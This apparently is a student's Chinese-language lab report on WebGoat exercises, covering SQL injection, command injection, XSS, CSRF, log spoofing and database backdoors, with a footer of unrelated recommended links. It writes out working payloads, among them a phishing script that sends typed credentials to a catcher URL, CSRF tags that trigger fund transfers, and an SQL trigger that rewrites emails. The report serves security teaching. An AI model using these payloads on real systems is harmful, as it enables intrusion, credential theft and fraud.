20144303石宇森《网络对抗》Web安全基础实践

实验后问题回答

SQL注入攻击原理,如何防御:

SQL攻击时通过在输入框中输入语句,构造出SQL命令,把这段命令注入到表单中,让后台的数据库执行恶意的SQL语句以实现攻击。

防御方法:采用sql语句预编译和绑定变量是最佳的方法。在不能使用sql语句预编译的情况下,可以严格的检查参数的数据类型以及格式。

XSS攻击的原理,如何防御:

XSS攻击也是通过从输入框中输入,把语句传给后台,这些语句代码包裹HTML代码和客户端脚本。通过这种方法,使网页的页面被更改,其他用户看到的页面也被更改。

防御方法:从Web开发的角度来避免,对所有用户提交的内容进行可靠的输入验证。对用户输入的html 标签及标签属性做白名单过滤,也可以对一些存在漏洞的标签和属性进行专门过滤。

CSRF攻击原理,如何防御:

CSRF攻击的原理就是使攻击者盗取用户的身份,然后以用户的身份发送恶意请求。盗取用户身份是通过Cookie来完成的。

防御方法:对用户来说要尽量及时的清理Cookie。对Web端来说,可以在客户端页面增加伪随机数,使攻击者得不到用户的Cookie

实验总结与体会

这次的实验与之前用过的“爱春秋”比较类似,以一种闯关的形式来完成实验,为学习过程增添了不少趣味性。有一些题目看不懂或是做不出来,后来通过学习同学的博客都把问题解决了。本来以为没有输入框就不能完成SQL注入攻击了,没想到还有Berpsuite,能把网页输入和输出内容像抓包一样抓到,然后完成修改。

实践过程记录

在实验之前,要先解压一下WebGoat(不能关闭终端窗口),然后登录localhost:8080/WebGoat开始实验。

一、String SQL Injection

这个题要求我们通过SQL注入的方法使所有的信用卡的信息都能被看到。判断出它是一个SELECT查询语句后,我们构造出一个永真式就能让他把所有的信息都输出出来。

所以,在输入框中输入'or 1='1,就能查出所有信用卡的信息。

二、Numeric SQL Injection

这个题也是要我们通过SQL注入攻击把所有的数据输出,同样的,也是构造一个永真式,但是与上一题不同的是,他没有输入框。这就要用到Berpsuite,把数据包截获,然后进行修改。

首先我们要对Berpsuite软件使用的端口进行设置

然后把浏览器使用的端口也做修改

使捕获设置在ON,开始捕获

然后把捕获到的数据发送到repeater

对station修改,构造一个永真式,加一个or 1=1。发现右边的代码也做了相应的修改。再次点go,成功

三、Command Injection

设置完端口 捕获数据包 然后把他发送到repeater

对URL修改,加上“&&ifconfig”,让它执行ifconfig语句

实验结束后,把捕获关闭

四、Blind Numeric SQL Injection

这是个猜数字的题。我们输入101发现是有效的,那么就可以构造SQL语句,通过输出结果来判断后面的式子是否为真。比如,我们输入101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') > 100 ); 输出为有效的,那么久证明这个数大于100。然后不断进行尝试,最后推算出答案是2364

五、Reflected XSS Attacks

<script>alert("20144303");</script>

是一个有攻击性的URL,可以让页面弹出对话框,显示20144303。我们把它作为输入,可以完成攻击。值得一提的是,这个XSS攻击没有改变服务器端的页面代码,只会显示给当前用户,不是持久性的存储型XSS攻击。

六、Phishing with XSS

<script>
function hack(){
XSSImage=new Image;
XSSImage.src="http://localhost:80/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
}
</script>
<form name="phish">
<br>
<br>
<HR>
<H2>This feature requires account login:</H2>
<br>
<br>Enter Username:<br>
<input type="text" name="user">
<br>Enter Password:<br>
<input type="password" name = "pass">
<br>
<input type="submit" name="login" value="login" onclick="hack()">
</form>
<br>
<br>
<HR>

这个实验是构造一个登录页面,然后输入登录的用户名和密码后,可以将其获取。代码如上。

七、CSRF

这个题让我们发送给目标一封邮件,邮件里面有一个URL,当目标打开这个邮件时,完成攻击。

因此,构造一个伪装语句<img src='attack?Screen=280&menu=900&transferFunds=10000' width='1' height='1'> 其中的src和menu是在题目下面的信息里搜取到的。

八、CSRF Prompt By-pass

这个题目和上一个比较相似,但是需要两条语句来完成,一个来伪装转账的金额,一个来伪装确认转账。

<img src='attack?Screen=267&menu=900&transferFunds=10000'width='1'height='1'>

<img src='attack?Screen=267&menu=900&transferFunds=Confirm'width='1'height='1'>

九、Log Spoofing

这个题要求我们通过注入命令,使admin登录成功。所以构造%0d%0aLogin succeeded !admin( %0d是回车,%0a是换行),这样就可以假装admin登录成功了。

十:Database Backdoors

这个题要求我们把用户的工资设置为10000,然后把表中所有的邮箱和用户名都设置成自己的。

输入101后发现有效,就能根据101来构造语句注入。完成攻击

101; update employee set salary=10000

101;CREATE TRIGGER 20144303 BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email='SHIYUSEN@qq.com' WHERE userid = NEW.userid

20144303石宇森《网络对抗》Web安全基础实践的更多相关文章

  1. 20145334赵文豪网络对抗Web安全基础实践

    1.SQL注入攻击原理,如何防御? SQL注入攻击就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意SQL命令的目的. 对于SQL注入攻击的防范,我觉 ...

  2. 20144303石宇森 《网络对抗》 WEB基础实践

    20144303石宇森 <网络对抗> WEB基础实践 实验后回答问题 一.什么是表单 表单是一个包含表单元素的区域.用form来定义. HTML是静态显示网页的,无法跟服务器进行交互,所以 ...

  3. 20144303石宇森《网络对抗》MSF基础应用

    20144303石宇森<网络对抗>MSF基础应用 实验后回答问题 一.解释什么是exploit,payload,encode: 我认为exploit就是一个简单的攻击指令,就是对配置所有设 ...

  4. 20144303石宇森《网络对抗》注入shellcode和Return-to-libc攻击

    20144303石宇森<网络对抗>PC平台逆向破解 实验1:shellcode注入 实验基础 1.Linux下有两种基本构造攻击buf的方法:retaddr+nop+shellcode,n ...

  5. 20144303石宇森《网络对抗》逆向及Bof基础

    20144303石宇森<网络对抗>逆向及Bof基础 一.实践目标 本次实践的对象是一个名为pwn1的linux可执行文件. 该程序正常执行流程是:main调用foo函数,foo函数会简单回 ...

  6. 20144303石宇森 《Java程序设计》第2周学习总结

    ---恢复内容开始--- 20144303 <Java程序设计>第2周学习总结 教材学习内容总结 一.类型: 1.Java可以区分为基本类型和类类型.类类型也称作参考类型. 2.Java中 ...

  7. 2018-2019 20165221 网络对抗 Exp5 MSF基础

    2018-2019 20165221 网络对抗 Exp5 MSF基础 实践内容: 重点掌握metassploit的基本应用方式,重点常用的三种攻击方式的思路.具体需要完成: 一个主动攻击实践,如ms0 ...

  8. 20145306 网路攻防 web安全基础实践

    20145306 网络攻防 web安全基础实践 实验内容 使用webgoat进行XSS攻击.CSRF攻击.SQL注入 XSS攻击:Stored XSS Attacks.Reflected XSS At ...

  9. 20155324王鸣宇 《网络对抗技术》Web基础

    20155324王鸣宇 <网络对抗技术>Web基础 实践要求 ①Web前端HTML: 能正常安装.启停Apache.理解HTML,理解表单,理解GET与POST方法,编写一个含有表单的HT ...

随机推荐

  1. JDBC及Filter

    JNDI容器:Java Naming Directory Interface,java命名目录接口EJB:javaEE服务器端组件模型,Enterprise JavaBean,设计目标与核心应用是建立 ...

  2. Oracle to_date()函数的用法介绍

    to_date()是Oracle数据库函数的代表函数之一,下文对Oracle to_date()函数的几种用法作了详细的介绍说明,需要的朋友可以参考下     在Oracle数据库中,Oracle t ...

  3. 第一个socket服务端程序

    第一个socket服务端程序 #include <stdio.h> #include <stdlib.h> #include <string.h> #include ...

  4. short url短链接原理

    一.什么是短链接 含义:就是把普通网址,转换成比较短的网址.比如:http://t.cn/RlB2PdD 这种,比如:微博:这些限制字数的应用里都用到这种技术. 优点:短.字符少.美观.便于发布.传播 ...

  5. Python开发【模块】:Weakref

    Weak references 前言: weakref模块允许python开发者创建弱引用对象. 再接下来中,术语referent代表被弱引用所引用的对象. 一个弱引用对于对象是不能够保持对象存活的: ...

  6. flask中的信号量

    一.在flask中自定义信号 from flask import Flask, current_app, flash, render_template from flask.signals impor ...

  7. 前端 HTML 简介

    HTML HTML是一个网页的主体部分,也是一个网页的基础.因为一个网页可以没有样式,可以没有交互,但是必须要有网页需要呈现的内容.所以HTML部分是整个前端的基础. HTML,全称是超文本标记语言( ...

  8. win8 metro 自己写摄像头拍照项目

    这个项目不是用的系统自带的CameraCaptureUI.是自己写的摄像头的调用,界面做的不好所以,不放了.可是能够实现拍照功能: 以下是using 程序命名空间: using Windows.Med ...

  9. CentOS7.1.x+Druid 0.12 集群配置

    原文转载自:https://blog.csdn.net/bigtree_3721/article/details/79583008 先决条件:安装版本列表 本次安装满足下面的条件: CentOS v7 ...

  10. ABAP抓取异常的方法:try,endtry

    部分转自:http://www.cnblogs.com/jiangzhengjun/p/4292428.html +4.Funcion函数异常处理 说明: 异常处理机制可以有效避免 dump发生, : ...